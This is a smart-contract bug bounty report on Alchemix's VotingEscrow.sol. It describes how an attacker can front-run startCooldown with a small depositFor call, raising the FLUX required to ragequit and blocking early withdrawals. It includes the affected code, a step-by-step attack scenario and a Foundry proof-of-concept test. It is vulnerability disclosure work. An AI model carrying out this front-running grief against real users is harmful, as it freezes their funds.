Submitted on May 12th 2024 at 11:24:32 UTC by @Lastc0de for Boost | Alchemix
Report ID: #31080
Report type: Smart Contract
Report severity: Insight
Target: https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol
Impacts:
- Permanent freezing of unclaimed yield
- Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)
- Temporary freezing of funds for 12 hours
There will be a one-epoch cooldown
period between unlocked tokens and being able to claim them to the user’s wallet. Locked tokens can become eligible for unlocks by burning Flux tokens.
When the user wants to withdraw his/here locked tokens, he/she must start the cooldDown
mechanism before withdrawing, otherwise he will not be able to withdraw.
Activating this process is possible in two ways:
- 1- lock period is expired
- 2- lock period is not expired
There is a vulnerability in model 2 that allows a malicious user to freeze the activation of this process for a short or long time for users who want to use the second method ( Denial-of-Service).
- Vulnerable contract is
VotingEscrow.sol
:
https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol
- Vulnerable function is
startCooldown()
: https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/VotingEscrow.sol#L778C1-L804C6
function startCooldown(uint256 _tokenId) external {
//...
locked[_tokenId].cooldown = block.timestamp + WEEK;
// If lock is not expired, cooldown can only be started by burning FLUX
if (block.timestamp < _locked.end) {
// Amount of FLUX required to ragequit
uint256 fluxToRagequit = amountToRagequit(_tokenId); // @AUDIT-1
require(IFluxToken(FLUX).balanceOf(msg.sender) >= fluxToRagequit, "insufficient FLUX balance"); // @AUDIT-2
IFluxToken(FLUX).burnFrom(msg.sender, fluxToRagequit);
emit Ragequit(msg.sender, _tokenId, block.timestamp);
}
emit CooldownStarted(msg.sender, _tokenId, _locked.cooldown);
}
When a user want withdraw his/here locked amounts before do that should start coold down process. Above we can see the function that activates this process. When a user who wish to unlock their veALCX early, should burn Flux Tokens this means that should buy Flux Token of other users
- AUDIT-1
For this, the
VotingEscrow.sol
first calculates Amount of FLUX required toragequit
by calling theamountToRagequit()
function: https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/VotingEscrow.sol#L345C1-L356C6
/// @inheritdoc IVotingEscrow
function amountToRagequit(uint256 _tokenId) public view returns (uint256) {
// amount of flux earned in one epoch
uint256 oneEpochFlux = claimableFlux(_tokenId); // @AUDIT-1-A
//..
}
- AUDIT-1-A
In the first line of this function, the amount of flux earned in one epoch is obtained by calling the
claimableFlux
function: https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/VotingEscrow.sol#L377C1-L385C6
function claimableFlux(uint256 _tokenId) public view returns (uint256) {
// If the lock is expired, no flux is claimable at the current epoch
if (block.timestamp > locked[_tokenId].end) {
return 0;
}
// Amount of flux claimable is <fluxPerVeALCX> percent of the balance
return (_balanceOfTokenAt(_tokenId, block.timestamp) * fluxPerVeALCX) / BPS; // @AUDIT-1-A-a
}
- AUDIT-1-A-a This line calculate and return Amount of flux claimable is percent of the balance
- as you can see this function calculate returned value by percent of the balance so by deposit for a
tokenId
can manipulate this value.
We can do this by calling the depositFor()
function:
https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/VotingEscrow.sol#L667C1-L678C1
function depositFor(uint256 _tokenId, uint256 _value) external nonreentrant {
//...
}
So we go to the beginning of the report to see AUDIT-2
:
- AUDIT-2 :
require(IFluxToken(FLUX).balanceOf(msg.sender) >= fluxToRagequit, "insufficient FLUX balance");
If the balance of the Flux Token for user is less than the calculated value meaning fluxToRagequit
, the user cannot call this function for a while, so the user must increase the balance of Flux tokens in his wallet, and this is only possible by buying tokens from other users.
For example, Bob wants to withdraw his tokens before the lock time done.
1- Bob knows for do this should buy 5 Flux Token
2- Bob buyed 5 Flux Token
3- Alex knows Bob Want withdraw his locked tokens (Ex:front-running)
4- Alex before Bob make call depositFor() - for Bob tokenId with small amount
5- Bob cant start coold down because he does not have enough tokens for this
6- Bob should buy more Flux Token
7- A malicious user can do this for a long time and prevent the withdrawal of other users' tokens
Attacker can Freeze this function for users so users for short -or long time cant withdraw his/here locked tokens
https://alchemixfi.medium.com/vealcx-update-272e8900ac5a
1- Add this function in VotingEscrow.t.sol
file :
function test_AmountToRagequit_Fuzzing() public {
uint256 tokenId = createVeAlcx(admin, TOKEN_1, THREE_WEEKS, false);
uint256 ragequitAmount = veALCX.amountToRagequit(tokenId);
// Log regequitAmount
console.log("#BEFORE - How much `ragequitAmount` need ? %d", ragequitAmount);
// Mint needed Ragequit and withdraw token
hevm.prank(address(veALCX));
flux.mint(admin, ragequitAmount);
// Approve Flux token
hevm.prank(admin);
flux.approve(address(veALCX), ragequitAmount);
/* Maliciouse User call `depositFor()` function for tokenId with small amount
1- Mint bpt token for this Maliciouse contract
2- call depositFor() , for tokenId
*/
deal(bpt, address(this), TOKEN_1);
IERC20(bpt).approve(address(veALCX), TOKEN_1);
veALCX.depositFor(tokenId, 1e7); // Deposit small amount for user - `tokenId`
// Log regequitAmount
uint256 ragequitAmount_AFTER = veALCX.amountToRagequit(tokenId);
console.log("#AFTER - How much `ragequitAmount` need ? %d", ragequitAmount_AFTER);
// check `ragequitAmount` and `ragequitAmount_AFTER` is equal or not
assertEq(ragequitAmount,ragequitAmount_AFTER,"`ragequitAmount` before and after not equal because:");
hevm.expectRevert("startCooldown() TX reverted because : `ragequitAmount` increased by Maliciouse user");
hevm.prank(admin);
veALCX.startCooldown(tokenId);
}
2- Runing test
forge test --match-test "test_AmountToRagequit_Fuzzing" --fork-url https://eth-mainnet.public.blastapi.io -vvvv